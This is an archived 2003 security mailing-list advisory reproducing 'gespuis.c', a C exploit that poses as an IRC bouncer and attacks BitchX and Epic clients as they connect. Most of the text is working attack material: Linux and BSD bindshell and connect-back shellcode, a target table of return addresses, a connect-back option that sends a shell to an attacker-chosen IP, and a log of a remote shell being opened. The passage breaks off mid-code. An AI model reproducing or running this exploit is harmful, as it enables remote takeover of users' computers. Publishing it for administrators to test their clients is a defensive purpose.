

# [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-03/0094.html>

---

**From:** [support@securiteam.com](mailto:support@securiteam.com)

**Date:** 03/30/03

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 30 Mar 2003 18:25:20 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office  
housewarming rates on automated network vulnerability  
scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or [ussales@beyondsecurity.com](mailto:ussales@beyondsecurity.com)

-----

Remote BitchX/Epic Exploit Code (Serverside)

---

## SUMMARY

Gespuis (the following exploit code) acts as an IRC bouncer and exploits BitchX/Epic clients spawning a bindshell. The following exploit code can be used by administrators to test their BitchX/Epic clients for the vulnerability.

## DETAILS

Exploit:

```
/* _____ 06-03-2
003
_____/_____.-----`/_____.-----_.-----`____/____
_/_\_^_._//_/_/____./_\/_|_/
____.\.\//____/_/_\|/_|_|slc|____
-
-----\_____||--.____\---.____//_||_//-._|-----.____||
/\|/
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

remote BitchX/Epic Exploit (serverside) √ by eSDee of Netric

---

(www.netric.be|org)

"gespuis.c" is an irc bouncer, that can exploit BitchX/Epic clients.

Copyright (c) 2003 Netric Security

All rights reserved.

```
[esdee@flopppp]$ ./gespuis -v irc.netric.org
[remote BitchX/Epic exploit (serverside) by eSDee of Netric
(www.netric.be|org)]
```

---

Verbose mode.

Waiting for connections...

[10.0.0.2] Connected... [esdee]

[10.0.0.2] Sending CTCP VERSION...

[10.0.0.2] Client version: BitchX-1.0c17+ by panasync - OpenBSD 3.2

[10.0.0.2] Target found. [ret: 0xcfbf7c1c]

[10.0.0.2] Bindshell is running on port 0xb0ef(45295).

```
[esdee@flopppp]$ telnet 10.0.0.2 45295
```

Trying 10.0.0.2...

Connected to 10.0.0.2.

Escape character is '^'.

```
uname -a; id;
```

```
OpenBSD pant0ffel 3.2 pant0ffel#1 i386
```

```
uid=1000(esdee) gid=1000(esdee) groups=1000(esdee), 0(wheel)
```

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <ctype.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
```

```
char
```

```
jmp_code[] =
```

```
/* jumps 0xff bytes ahead.. */
```

```
"\xeb\x09\x58\x31\xdb\xb3\xff\x01\xd8\xff\xe0\xe8\xf2\xff\xff\xff";
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

char

BSD\_bindcode[] =

```
/* fork(), execve sh -c [client] [host to bounce to], term=xterm */
"\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68\x2d\x63\x89\xe3\x50"
"\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50\x89\xe1\x31\xc0\x50"
"\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68\x54\x45\x52\x4d\x89"
"\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x50\x52\x51\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80"
```

```
/* forking bindcode (port 0xb0ef)*/
```

```
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02"
"\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80"
"\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57"
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89"
"\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80"
"\xeb\x9a";
```

char

BSD\_connect\_back[] =

```
/* fork(), execve sh -c [client] [host to bounce to], term=xterm */
"\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
"\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68\x2d\x63\x89\xe3\x50"
"\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50\x89\xe1\x31\xc0\x50"
"\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68\x54\x45\x52\x4d\x89"
"\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x50\x52\x51\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80"
```

```
/* connect back shellcode (port=0xb0ef) */
```

```
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
"\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"  
"\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"  
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
```

char

linux\_bindcode[] =

```
/* fork(), execve sh -c [client] [host to bounce to], term=xterm */  
"\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"  
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"  
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"  
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"  
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68"  
"\x2d\x63\x89\xe3\x50\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50"  
"\x89\xe1\x31\xc0\x50\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68"  
"\x54\x45\x52\x4d\x89\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73"  
"\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc0\xb0"  
"\x01\xcd\x80"  
  
/* forking bindcode (port 0xb0ef)*/  
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"  
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"  
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"  
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"  
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"  
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"  
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"  
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"  
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"  
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"  
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"  
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"  
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
```

char

linux\_connect\_back[] =

```
/* fork(), execve sh -c [client] [host to bounce to], term=xterm */  
"\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"  
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"  
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"  
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"  
"\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68"  
"\x2d\x63\x89\xe3\x50\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50"  
"\x89\xe1\x31\xc0\x50\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68"  
"\x54\x45\x52\x4d\x89\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73"  
"\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc0\xb0"  
"\x01\xcd\x80"  
  
/* connect back shellcode (port=0xb0ef) */  
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"  
"\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"  
"\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"  
"\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"  
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"  
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"  
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"  
"\x01\xcd\x80";
```

```
struct {  
    char *version;  
    unsigned long ret;  
    unsigned long mprotect;  
    char *shellcode;  
    int type;  
    } targets[] = {
```

```
/* FreeBSD targets tested on:  
- FreeBSD 4.7-RELEASE-p3  
- FreeBSD 4.6.2-RELEASE  
- FreeBSD 4.6  
- FreeBSD 4.5-RELEASE
```

OpenBSD targets:

```
- OpenBSD 3.2  
- OpenBSD 3.1  
- OpenBSD 3.0  
- OpenBSD 2.x
```

Linux targets:

```
- Redhat 8.0  
- Redhat 7.x  
- Debian 3.0  
- Mandrake 8.x  
- Mandrake 9.0  
- Slackware 8.x  
- Trustix 1.x
```

Types:

```
0 - BitchX (Linux)  
1 - BitchX (BSD)  
2 - BitchX (BSD - Return into libc - mprotect() (To break the k-rad  
theo protection :)  
3 - Epic (Linux)  
4 - Epic (BSD)  
5 - Epic (BSD - Return into libc - mprotect())  
*/
```

```
/* Auto targets */
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
{ "BitchX-1.0c19+ by panasync - Linux 2.", 0xbfff9bd8, 0x00000000,
linux_bindcode, 0},
{ "BitchX-1.0c18+ by panasync - Linux 2.", 0xbfff9bd8, 0x00000000,
linux_bindcode, 0},
{ "BitchX-1.0c17+ by panasync - Linux 2.", 0xbfff9bd8, 0x00000000,
linux_bindcode, 0},
{ "BitchX-1.0c16+ by panasync - Linux 2.", 0xbfff9bd8, 0x00000000,
linux_bindcode, 0},
{ "BitchX-1.0c19+ by panasync - FreeBSD 5", 0xbfbf9c8c, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c18+ by panasync - FreeBSD 5", 0xbfbf9c8c, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c17+ by panasync - FreeBSD 5", 0xbfbf9c8c, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c16+ by panasync - FreeBSD 5", 0xbfbf9c8c, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c19+ by panasync - FreeBSD 4", 0xbfbf9c8c, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c18+ by panasync - FreeBSD 4", 0xbfbf9c8c, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c17+ by panasync - FreeBSD 4", 0xbfbf9c8c, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c16+ by panasync - FreeBSD 4", 0xbfbf9c8c, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c19+ by panasync - OpenBSD 3.2", 0xcfbf7c1c, 0x401ec230,
BSD_bindcode, 2},
{ "BitchX-1.0c18+ by panasync - OpenBSD 3.2", 0xcfbf7c1c, 0x401ce230,
BSD_bindcode, 2},
{ "BitchX-1.0c17+ by panasync - OpenBSD 3.2", 0xcfbf7c1c, 0x401cb230,
BSD_bindcode, 2},
{ "BitchX-1.0c16+ by panasync - OpenBSD 3.2", 0xcfbf7c1c, 0x401cb230,
BSD_bindcode, 2},
{ "BitchX-1.0c19+ by panasync - OpenBSD 3", 0xdfbf7f34, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c18+ by panasync - OpenBSD 3", 0xdfbf7f34, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c17+ by panasync - OpenBSD 3", 0xdfbf7f34, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c16+ by panasync - OpenBSD 3", 0xdfbf7f34, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c19+ by panasync - OpenBSD 2", 0xdfbf7f34, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c18+ by panasync - OpenBSD 2", 0xdfbf7f34, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c17+ by panasync - OpenBSD 2", 0xdfbf7f34, 0x00000000,
BSD_bindcode, 1},
{ "BitchX-1.0c16+ by panasync - OpenBSD 2", 0xdfbf7f34, 0x00000000,
BSD_bindcode, 1},
{ "ircII EPIC4-1.1.10 Linux 2.", 0xbffdddf0, 0x00000000, linux_bindcode,
3},
{ "ircII EPIC4-1.1.7 Linux 2.", 0xbffdddf0, 0x00000000, linux_bindcode,
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
3},
{ "ircII EPIC4-1.1.6 Linux 2.", 0xbffdddf0, 0x00000000, linux_bindcode,
3},
{ "ircII EPIC4-1.1.10 FreeBSD 4", 0xbfbfdf64, 0x00000000, BSD_bindcode,
4},
{ "ircII EPIC4-1.1.7 FreeBSD 4", 0xbfbfdf64, 0x00000000, BSD_bindcode,
4},
{ "ircII EPIC4-1.1.6 FreeBSD 4", 0xbfbfdf64, 0x00000000, BSD_bindcode,
4},
{ "ircII EPIC4-1.1.10 OpenBSD 3.2", 0xcfbf6d74, 0x4026b230, BSD_bindcode,
5},
{ "ircII EPIC4-1.1.7 OpenBSD 3.2", 0xcfbfbe64, 0x40265230, BSD_bindcode,
5},
{ "ircII EPIC4-1.1.6 OpenBSD 3.2", 0xcfbfbe64, 0x40264230, BSD_bindcode,
5},
{ "ircII EPIC4-1.1.10 OpenBSD 3", 0xdfbf7094, 0x00000000, BSD_bindcode,
4},
{ "ircII EPIC4-1.1.7 OpenBSD 3", 0xdfbf7094, 0x00000000, BSD_bindcode,
4},
{ "ircII EPIC4-1.1.6 OpenBSD 3", 0xdfbf7094, 0x00000000, BSD_bindcode,
4},

/* manual targets (thanks lucipher and thorax!) */

{ "BitchX-1.0cX - Redhat 8.0", 0xbfff9bd8, 0x00000000, linux_bindcode,
1},
{ "BitchX-1.0cX - Redhat 7.x", 0xbfff9bd8, 0x00000000, linux_bindcode,
1},
{ "BitchX-1.0cX - Debian 3.x", 0xbfff9f0c, 0x00000000, linux_bindcode,
1},
{ "BitchX-1.0cX - Mandrake 9.0", 0xbfff9af0, 0x00000000, linux_bindcode,
1},
{ "BitchX-1.0cX - Mandrake 8.x", 0xbfff9af0, 0x00000000, linux_bindcode,
1},
{ "BitchX-1.0cX - Slackware 8.x", 0xbfff9bd8, 0x00000000, linux_bindcode,
1},
{ "BitchX-1.0cX - Trustix 1.x", 0x7fff9ddc, 0x00000000, linux_bindcode,
1},
{ "ircII EPIC4-1.1.x Redhat 8.0", 0xbffddf64, 0x00000000, linux_bindcode,
3},
{ "ircII EPIC4-1.1.x Redhat 7.x", 0xbffddf64, 0x00000000, linux_bindcode,
3},
{ "ircII EPIC4-1.1.x Debian 3.x", 0xbfff9004, 0x00000000, linux_bindcode,
3},
{ "ircII EPIC4-1.1.x Mandrake 9.0", 0xbffddf10, 0x00000000,
linux_bindcode, 3},
{ "ircII EPIC4-1.1.x Mandrake 8.x", 0xbffddf10, 0x00000000,
linux_bindcode, 3},
{ "ircII EPIC4-1.1.x Slackware 8.x", 0xbffdddf0, 0x00000000,
linux_bindcode, 3},
{ "ircII EPIC4-1.1.x Trustix 1.x", 0x7fff8f74, 0x00000000,
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
linux_bindcode, 3},
{ "Crash – All platforms", 0xBADe5Dee, 0x00000000, linux_bindcode, 0},
};
```

```
FILE *log = NULL;
```

```
void
usage(char *prog)
{
    fprintf(stderr, "Usage : %s [-c ip address] [-l file] [-p port] [-t
target] [-v] <ircd:port>\n"
"Example: %s -l /var/log/owned -p 6667 -v irc.netric.org:6668\n\n"
"-c ip address connect back shellcode (port 45295)\n"
"-l logfile log output to file\n"
"-p port the bouncer port\n"
"-t target force target, don't CTCP version. (Use -t0 for a list)\n"
"-v verbose mode\n\n", prog, prog);
    exit(1);
}
```

```
int
send_text(int sock, char *format, ... )
{
    char buffer[4096];
    va_list arglist;
    va_start (arglist, format);
    vsnprintf(buffer, sizeof(buffer) - 1, format, arglist );
    va_end(arglist);
    return send(sock, buffer, strlen(buffer), 0);
}
```

```
int
main(int argc, char *argv[])
{
    char read_buf [4096];
    char log_buffer [1200];
    char ret_buffer [128];
    char buffer [600];

    char sh_buffer [2000];
    char sh_host [36];

    char version [256];
    char nick [256];
    char user [256];
    char ircd_host [256];

    char *ptr;

    unsigned int port = 6667;
    unsigned int ircd_port = 6667;
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
unsigned int type = 0;
unsigned int bytes = 0;

struct sockaddr_in saddr_in1;
struct sockaddr_in saddr_in2;
struct sockaddr_in saddr_in3;

struct hostent *hp;

int sock_server = 0;
int sock_server_new = 0;
int sock_ircd = 0;

int sin_size = sizeof(struct sockaddr_in);
int i = 0;
int k = 0;
int size = 0;
int opt = 0;
int verbose = 0;
int connectback = 0;
int ip1 = 0;
int ip2 = 0;
int ip3 = 0;
int ip4 = 0;

fd_set fd_read;

fprintf(stdout, "[remote BitchX/Epic exploit (serverside) by eSDee of
Netric (www.netric.be|org)]\n"
"-----\n");

while((opt = getopt(argc,argv,"c:l:p:t:v")) !=EOF) {
switch(opt) {

case 'c':
sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);

linux_connect_back[171] = ip1; BSD_connect_back[162] = ip1;
linux_connect_back[172] = ip2; BSD_connect_back[163] = ip2;
linux_connect_back[173] = ip3; BSD_connect_back[164] = ip3;
linux_connect_back[174] = ip4; BSD_connect_back[165] = ip4;

for(i = 0; i < sizeof(targets) / 20; i++) {
switch(targets[i].type) {
case 0:
targets[i].shellcode = linux_connect_back;
break;
case 3:
targets[i].shellcode = linux_connect_back;
break;
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
default:
targets[i].shellcode = BSD_connect_back;
break;
}
}

fprintf(stdout, "Connecting to: %d.%d.%d.%d:45295\n", ip1, ip2, ip3,
ip4);
connectback = 1;
break;
case 'l':
if ((log = fopen(optarg,"aw")) == NULL) {
fprintf(stderr, "Unable to open %s.\n", optarg);
return -1;
}
break;
case 'p':
port=atoi(optarg);
if ((port <= 0) || (port > 65535)) {
fprintf(stderr,"Invalid port.\n");
return -1;
}
break;
case 't':
type = atoi(optarg);
if (type == 0 || type > sizeof(targets) / 20) {
for(i = 0; i < sizeof(targets) / 20; i++)
fprintf(stderr, "%02d. [0x%08x] - %s\n", i + 1,
(unsigned)targets[i].ret, targets[i].version);
fprintf(stderr, "\n");
return -1;
}

fprintf(stdout, "Selected: %s [0x%08x]\n", targets[type - 1].version,
(unsigned)targets[type - 1].ret);
break;
case 'v':
fprintf(stdout, "Verbose mode.\n");
verbose = 1;
break;
default:
usage(argv[0] == NULL ? "gespuis" : argv[0]);
break;
}
}

if (argv[optind] == NULL) usage(argv[0] == NULL ? "gespuis" : argv[0]);

scanf(argv[optind], "%255[^]:%u", ircd_host, &ircd_port);
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
if ((ircd_port <= 0) || (ircd_port > 65535)) {
fprintf(stderr, "Invalid ircd port.\n");
return -1;
}

if ((hp = gethostbyname(ircd_host)) == NULL) {
fprintf(stderr, "Unable to resolve %s...\n", ircd_host);
return -1;
}

memset((char *)&saddr_in3, 0x0, sizeof(saddr_in3));
memcpy((char *)&saddr_in3.sin_addr, hp->h_addr, hp->h_length);

saddr_in3.sin_family = AF_INET;
saddr_in3.sin_port = htons(ircd_port);

if ((sock_server = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
fprintf(stderr, "socket error.\n");
return -1;
}

setsockopt(sock_server, SOL_SOCKET, SO_REUSEADDR, &sin_size,
sizeof(sin_size));

saddr_in1.sin_family = AF_INET;
saddr_in1.sin_port = htons(port);
saddr_in1.sin_addr.s_addr = INADDR_ANY;

memset(&saddr_in1.sin_zero, 0x0, 8);

if (bind(sock_server, (struct sockaddr *)&saddr_in1, sizeof(struct
sockaddr)) == -1) {
fprintf(stderr, "bind error.\n");
return -1;
}

if (listen(sock_server, 10) == -1) {
fprintf(stderr, "listen.\n");
return -1;
}

signal(SIGCHLD, SIG_IGN);

fprintf(stdout, "Waiting for connections...\n");

while(1) {

if ((sock_server_new = accept(sock_server, (struct sockaddr *)&saddr_in2,
&sin_size)) == -1) {
perror("accept");
continue;
}
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
}

if (!fork()) {

close(sock_server);

memset(version, 0x0, sizeof(version));
memset(read_buf, 0x0, sizeof(read_buf));

while(1) {

if (recv(sock_server_new, read_buf, sizeof(read_buf) - 1, 0) < 0) {
close(sock_server_new);
exit(1);
}

ptr = strstr(read_buf, "NICK ");

if (ptr != NULL) {
memset(nick, 0x00, sizeof(nick));
strncpy(nick, ptr + 5, sizeof(nick) - 1);

for (i = 0; i < strlen(nick); i++)
if (!isprint(nick[i])) nick[i] = 0x00;

if (verbose == 1) fprintf(stdout, "[%s] Connected... [%s]\n",
inet_ntoa(saddr_in2.sin_addr), nick);
}

ptr = strstr(read_buf, "USER ");

if (ptr != NULL) {
memset(user, 0x00, sizeof(user));
strncpy(user, ptr + 5, sizeof(user) - 1);

for (i = 0; i < strlen(user); i++)
if (!isprint(user[i])) user[i] = 0x00;
}

if (strlen(nick) != 0 && strlen(user) != 0) break;
memset(read_buf, 0x0, sizeof(read_buf));
}

if (type == 0) {

if (verbose == 1) fprintf(stdout, "[%s] Sending CTCP VERSION...\n",
inet_ntoa(saddr_in2.sin_addr));

if (send_text(sock_server_new, ":stats!netric@netric.org PRIVMSG a:
%cVERSION%c\n", 0x01, 0x01) < 0) {
if (verbose == 1) fprintf(stderr, "[%s] send failed!\n",
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
inet_ntoa(saddr_in2.sin_addr));
close(sock_server_new);
exit(1);
}

while(1) {

if (recv(sock_server_new, read_buf, sizeof(read_buf) - 1, 0) < 0) {
close(sock_server_new);
exit(1);
}

ptr = strstr(read_buf, "VERSION ");

if (ptr != NULL) {

for (i = 0; i < sizeof(version) - 1; i++) {
if (isprint(*(ptr + i + 8))) {
version[k] = *(ptr + i + 8);
k++;
}

if (*(ptr + i + 8) == ':' && *(ptr + i + 7) == ' ') {
version[k - 2] = 0x00;
break;
}

if (*(ptr + i + 8) == '-' && *(ptr + i + 9) == ' ' &&
*(ptr + i + 10) == 'A' && *(ptr + i + 11) == 'c') {
version[k - 2] = 0x00;
break;
}
}

if (verbose == 1) fprintf(stdout, "[%s] Client version: %s\n",
inet_ntoa(saddr_in2.sin_addr), version);
break;
}

memset(read_buf, 0x0, sizeof(read_buf))
;
}

if (strlen(version) == 0) {
if (verbose == 1) fprintf(stderr, "[%s] No version given.\n",
inet_ntoa(saddr_in2.sin_addr));
close(sock_server_new);
exit(1);
}
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
for(i = 0; i < (sizeof(targets) / 20) - 1; i++) {
if (memcmp(version, targets[i].version, strlen(targets[i].version)) == 0)
{
type = i + 1;
if (verbose == 1) fprintf(stderr, "[%s] Target found. [ret: 0x%08x]\n",
inet_ntoa(saddr_in2.sin_addr), (unsigned) targets[type - 1].ret);
break;
}
}

if (type == 0) {
if (verbose == 1) fprintf(stderr, "[%s] Not found, bouncing to [%s:%u]
..\n",
inet_ntoa(saddr_in2.sin_addr),ircd_host, ircd_port);

if ((sock_ircd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
if (verbose == 1) fprintf(stderr, "[%s] socket error.\n",
inet_ntoa(saddr_in2.sin_addr));
close(sock_server_new);
exit(1);
}

if (connect(sock_ircd, (struct sockaddr *)&saddr_in3, sizeof(saddr_in3))
== -1) {
if (verbose == 1) fprintf(stderr, "[%s] Unable to connect to [%s:%u].\n",
inet_ntoa(saddr_in2.sin_addr), ircd_host, ircd_port);
close(sock_server_new);
close(sock_ircd);
exit(1);
}

memset(log_buffer, 0x00, sizeof(log_buffer));
snprintf(log_buffer, sizeof(log_buffer) - 1,
"NICK %s\nUSER %s\n", nick, user);

if (send(sock_ircd, log_buffer, strlen(log_buffer), 0) < 0) {
close(sock_server_new);
close(sock_ircd);
exit(1);
}

memset(read_buf, 0x00, sizeof(read_buf));
bytes = 1;
while (bytes) {

FD_ZERO(&fd_read);
FD_SET(sock_server_new, &fd_read);
FD_SET(sock_ircd, &fd_read);

select(FD_SETSIZE, &fd_read, NULL, NULL, NULL);
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
if (FD_ISSET(sock_ircd, &fd_read)) {

memset(read_buf, 0x00, sizeof(read_buf));
bytes = recv(sock_ircd, read_buf, sizeof(read_buf), 4);
if (bytes) send(sock_server_new, read_buf, bytes, 4);

} else if (FD_ISSET(sock_server_new, &fd_read)) {

memset(&read_buf, 0x00, sizeof(read_buf));
bytes = recv(sock_server_new, read_buf, sizeof(read_buf), 4);
if (bytes) send(sock_ircd, read_buf, bytes, 4);
}
}

close(sock_ircd);
close(sock_server_new);
exit(1);
}
}

k = 69;
i = 0;

memset(sh_host, 0x00, sizeof(sh_host));
if (targets[type - 1].type < 3) {
snprintf(sh_host, sizeof(sh_host) - 1, "BitchX %s:%d", ircd_host,
ircd_port);
} else {
snprintf(sh_host, sizeof(sh_host) - 1, "epic %s:%d", ircd_host,
ircd_port);
}

strncat(sh_host, " ",
sizeof(sh_host) - strlen(sh_host) - 1);
while (1) {

if (sh_host[i + 0] == 0x00) break;
linux_bindcode[k - 3] = sh_host[i + 0];
linux_connect_back[k - 3] = sh_host[i + 0];

if (sh_host[i + 1] == 0x00) break;
linux_bindcode[k - 2] = sh_host[i + 1];
linux_connect_back[k - 2] = sh_host[i + 1];

if (sh_host[i + 2] == 0x00) break;
linux_bindcode[k - 1] = sh_host[i + 2];
linux_connect_back[k - 1] = sh_host[i + 2];

if (sh_host[i + 3] == 0x00) break;
linux_bindcode[k - 0] = sh_host[i + 3];
linux_connect_back[k - 0] = sh_host[i + 3];
```

